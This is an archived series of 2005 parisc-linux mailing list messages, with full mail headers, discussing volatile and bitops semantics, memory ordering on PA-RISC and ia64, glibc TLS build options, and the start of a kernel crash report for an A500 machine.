Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623753 13830 80.91.229.3 (22 Nov 2014 02:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:53 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Apr 2005 14:39:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 14 Apr 2005 16:39:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDEED7D68A;
	Thu, 14 Apr 2005 08:39:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28439-04; Thu, 14 Apr 2005 08:39:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D089A7D683;
	Thu, 14 Apr 2005 08:39:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C6A07D675
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Apr 2005 08:39:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28439-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Apr 2005 08:39:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AC2727D671
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Apr 2005 08:39:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3EEd9hF018787; Thu, 14 Apr 2005 10:39:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3EEd9oX018785;
	Thu, 14 Apr 2005 10:39:09 -0400 (EDT)
In-Reply-To: <20050414050727.GA30838@colo.lackof.org> from "Grant Grundler" at
	Apr 13, 2005 11:07:27 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9LBUc8Z3bUkSSOnGPWgnfXJjZ2hlN0pJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22615

> > In this case, we are doing a single operation to *addr, and this
> > function is explicitly not atomic, so I am not quite sure why we need
> > volatile at all.
> 
> James Bottomley dug up the original thread:
> 	http://marc.theaimsgroup.com/?t=108826637900003
> 
> If __set_bit() doesn't need volatile, then is the same true
> for __clear_bit and __change_bit?

The above discussion bothers me a lot:

  So the rule has always been (and this has nothing to do with parisc, and 
  parisc DOES NOT GET TO SET THE RULES!) that "test_bit()" acts in a 
  volatile manner, and that you traditionally could write

     while (test_and_set_bit(xxx, field))
       while (test_bit(xx, field)) /* Nothing */;

  to do a lock.

  NOTE! There are no volatile data structures _anywhere_, because as
  mentioned, I think that whole notion is a total piece of crap, and is not
  even a well-defined part of the C language. But the test_bit() function
  has to act as if the data it is passed down can change. To repeat:  
  _codepaths_ may have volatility attributes depending on usage of the data.

I don't believe that a lock can be implemented as shown above on
PA-RISC as we don't have an atomic test_and_set_bit.  The only atomic
ops are ldcw and ldcd (load and clear word/double).  So, if test_and_set_bit
needs locking semantics, it will have to be implemented with spinlocks.

Secondly, I'm not convinced of the concept of volatile code paths
and using the volatile keyword to keep loops from being optimized
away.  I think this approach results in bad code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Sat, 16 Apr 2005 11:27:21 -0600
Lines: 68
Approved: news@gmane.org
Message-ID: <20050416172721.GA11765@colo.lackof.org>
References: <20050415192713.GA26321@colo.lackof.org>
	<200504152141.j3FLfMXi025954@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623753 13839 80.91.229.3 (22 Nov 2014 02:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Apr 2005 18:17:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 16 Apr 2005 20:17:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 946207D6BB;
	Sat, 16 Apr 2005 11:25:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13732-07; Sat, 16 Apr 2005 11:25:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E0CA7D6BC;
	Sat, 16 Apr 2005 11:25:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABF2A7D6B9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Apr 2005 11:25:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13549-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Apr 2005 11:25:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 1D6447D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 16 Apr 2005 11:25:08 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A4749298052;
	Sat, 16 Apr 2005 11:27:24 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12024-07; Sat, 16 Apr 2005 11:27:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 10925298011; Sat, 16 Apr 2005 11:27:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200504152141.j3FLfMXi025954@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s+sTYr51eSE57L6WZHQhaXN2IGRvb0CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22616

On Fri, Apr 15, 2005 at 05:41:22PM -0400, John David Anglin wrote:
> > My take is "volatile" is just a way to tell gcc something about the
> > code/data that it can't see. I'm not going to quibble with linus
> > about whether data is volatile or code is volatile. I think in some
> > cases it's one (e.g accessing memory mapped HW) or the other
> > (accessing shared data). Key thing is gcc be able to optimize code
> > but not remove it (especially in the latter case).
> 
> The problem here is that there are some conventions regarding the use
> of "volatile" in GCC C that are rather poorly documented.  You might
> look at this discussion regarding volatile and C++ to get a flavor
> for what I mean <http://gcc.gnu.org/ml/gcc/2005-04/msg00724.html>.

In this followup, I think Nathan Sidwell got at least one bit:
| It seems to me that threads require barriers _within_ the abstract machine,
| and currently there is no mechanism to specify just that.  Volatile is all
| we have, and AFAICT those are only ordered WRT other volatile accesses
| separated by a sequence point.

(See http://gcc.gnu.org/ml/gcc/2005-04/msg00748.html)

And that's a difference: the kernel has defined a set of barriers.
Linux kernel generally doesn't depend on current semantics of volatile
for accessing memory mapped IO.
At least I don't think it does since ia64-linux is using ld.acq
and st.rel instructions today.  While the compiler is observing
the ordering, the CPU may not.  e.g. The CPU doesn't wait for a
regular store to complete before starting sucessive ld.acq.

This is a rare for IO drivers to do this. More discussion about
volatile and acq/rel semantics in "IA-64 Linux Kernel" by
David Mosberger and Stephane Eranian.

I learned one more thing about ia64 not in the book when trying
to understand how ld.rel works WRT to fixing posted write problems
(st.rel).  I summarize it in my OLS2004 paper:
	http://iou.parisc-linux.org/ols2004/www/

See http://iou.parisc-linux.org/ols2004/www/2_2_Eh_Memory_Reads.html

  "Memory ordering imposes no constraint on non-load/store instructions."

This is critical for changing CPU state (enable/disable I-bit) or
reading CPU state (e.g. ITC).

ia64 has a weakly ordered memory subsystem but executes instructions
in order. parisc is strongly ordered for both and is less complicated
in this regard. I think because of this parisc could use volatile
keyword for telling the compiler certain instructions *must* be kept
in the stream, and then use memory barriers to constrain how the
optimizer can reorder the instruction stream.

But changing the semantics of volatile will break some code
in both the kernel and in multithreaded applications.
I strongly suspect this is going to need to fall into
the "use with caution" compiler flags (like -O4).

I'm glad they are having this discussion now *before*
widespread adoption of RDMA technologies.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Fri, 15 Apr 2005 17:41:22 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200504152141.j3FLfMXi025954@hiauly1.hia.nrc.ca>
References: <20050415192713.GA26321@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623754 13847 80.91.229.3 (22 Nov 2014 02:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 21:41:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 15 Apr 2005 23:41:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CC507D6E1;
	Fri, 15 Apr 2005 15:41:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07780-02; Fri, 15 Apr 2005 15:41:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C2CA7D6E6;
	Fri, 15 Apr 2005 15:41:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 280927D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:41:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07454-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:41:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 993707D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:41:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3FLfNhF025956; Fri, 15 Apr 2005 17:41:23 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3FLfMXi025954;
	Fri, 15 Apr 2005 17:41:22 -0400 (EDT)
In-Reply-To: <20050415192713.GA26321@colo.lackof.org> from "Grant Grundler" at
	Apr 15, 2005 01:27:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9LBUc8Z3bUkSSOnGPWgneXJjZ2hlN8pM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22617

> My take is "volatile" is just a way to tell gcc something about the
> code/data that it can't see. I'm not going to quibble with linus
> about whether data is volatile or code is volatile. I think in some
> cases it's one (e.g accessing memory mapped HW) or the other
> (accessing shared data). Key thing is gcc be able to optimize code
> but not remove it (especially in the latter case).

The problem here is that there are some conventions regarding the use
of "volatile" in GCC C that are rather poorly documented.  You might
look at this discussion regarding volatile and C++ to get a flavor
for what I mean <http://gcc.gnu.org/ml/gcc/2005-04/msg00724.html>.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Fri, 15 Apr 2005 10:33:11 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20050415143311.GN26980@baldric.uwo.ca>
References: <20050409050558.GL1833@baldric.uwo.ca>
	<20050410104403.GK6987@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623754 13854 80.91.229.3 (22 Nov 2014 02:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 15:33:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 15 Apr 2005 17:33:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 687C17D6B3;
	Fri, 15 Apr 2005 09:33:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04067-04; Fri, 15 Apr 2005 09:33:21 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A87D27D6B6;
	Fri, 15 Apr 2005 09:33:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E38B37D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:33:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04031-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:33:17 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 626217D6AE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 09:33:17 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMRsd-0000Rq-00; Fri, 15 Apr 2005 10:33:11 -0400
Content-Disposition: inline
In-Reply-To: <20050410104403.GK6987@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oOIJD4h+bHIIGq3NNjQ0PCktJihyatCZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22618

On Sun, Apr 10, 2005 at 03:44:03AM -0700, Randolph Chung wrote:
> btw, Carlos, are you building glibc with linuxthreads or nptl when you
> enable TLS? If I use nptl I get a lot of build errors very early in the
> build process.

Disable nptl, we don't have the patches for that to work yet, since we
don't have a working futex prototype.

I am building with:

$SRC/$LIBC/configure --host=$ARCH-linux --build=$ARCH-linux
--target=$ARCH-linux --prefix=$GINSTALL --enable-add-ons=linuxthreads
--enable-tls --enable-__thread  --enable-all-warnings >&
../configure-$BUILDNAME-$ARCH.log

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kai Holthaus" <kmh@sonic.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A500: 2.4.18 64bit SMP Kernel Crash
Date: Mon, 18 Apr 2005 19:19:05 -0700 (PDT)
Lines: 499
Approved: news@gmane.org
Message-ID: <19310.64.142.78.25.1113877145.squirrel@webmail.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623754 13863 80.91.229.3 (22 Nov 2014 02:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2005 02:19:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 19 Apr 2005 04:19:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FA357D658;
	Mon, 18 Apr 2005 20:19:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29183-04; Mon, 18 Apr 2005 20:19:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 301337D65A;
	Mon, 18 Apr 2005 20:19:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6727C7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 20:19:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29054-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 20:19:06 -0600 (MDT)
Original-Received: from b.mail.sonic.net (b.mail.sonic.net [64.142.19.5])
	by free.linux.hp.com (Postfix) with ESMTP id AB10E7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 20:19:06 -0600 (MDT)
Original-Received: from webmail.sonic.net (b.webmail.sonic.net [64.142.100.148])
	by b.mail.sonic.net (8.13.3/8.13.3) with ESMTP id j3J2J5L5000552
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 19:19:05 -0700
Original-Received: from 64.142.78.25 (SquirrelMail authenticated user kmh)
	by webmail.sonic.net with HTTP; Mon, 18 Apr 2005 19:19:05 -0700 (PDT)
User-Agent: SquirrelMail/1.4.4
X-Priority: 3 (Normal)
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5Q8WYhVbeSE57L6WZHQhaXN2IGRvbwCV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22619

Hi,

I recently got a 2-way A500, model 9000/800/A500-5X, and I installed
Debian Woody on it. The plain vanilla 2.4.17-64 kernel seems to work fine,
but I think it's somewhat of a waste to have two CPUs and not use both.

So, I installed the 2.4.18-hppa kernel sources, and built my own kernel.
However, the box wouldn't boot that kernel; instead it'd crash right after
the IPL part of PALO would try to load the kernel image.

- I used the gcc-hppa64-3.0.4ds9-3-hppa.deb gcc compiler, along with the
binutils-2.11.90.0.18-o.deb package off
ftp.parisc-linux.org/unofficial-debs to compile
- The kernel was compiled using Debian's kernel-package tools
- Palo's kernel command line is as follows:
  2/vmlinux root=/dev/sda4 HOME=/
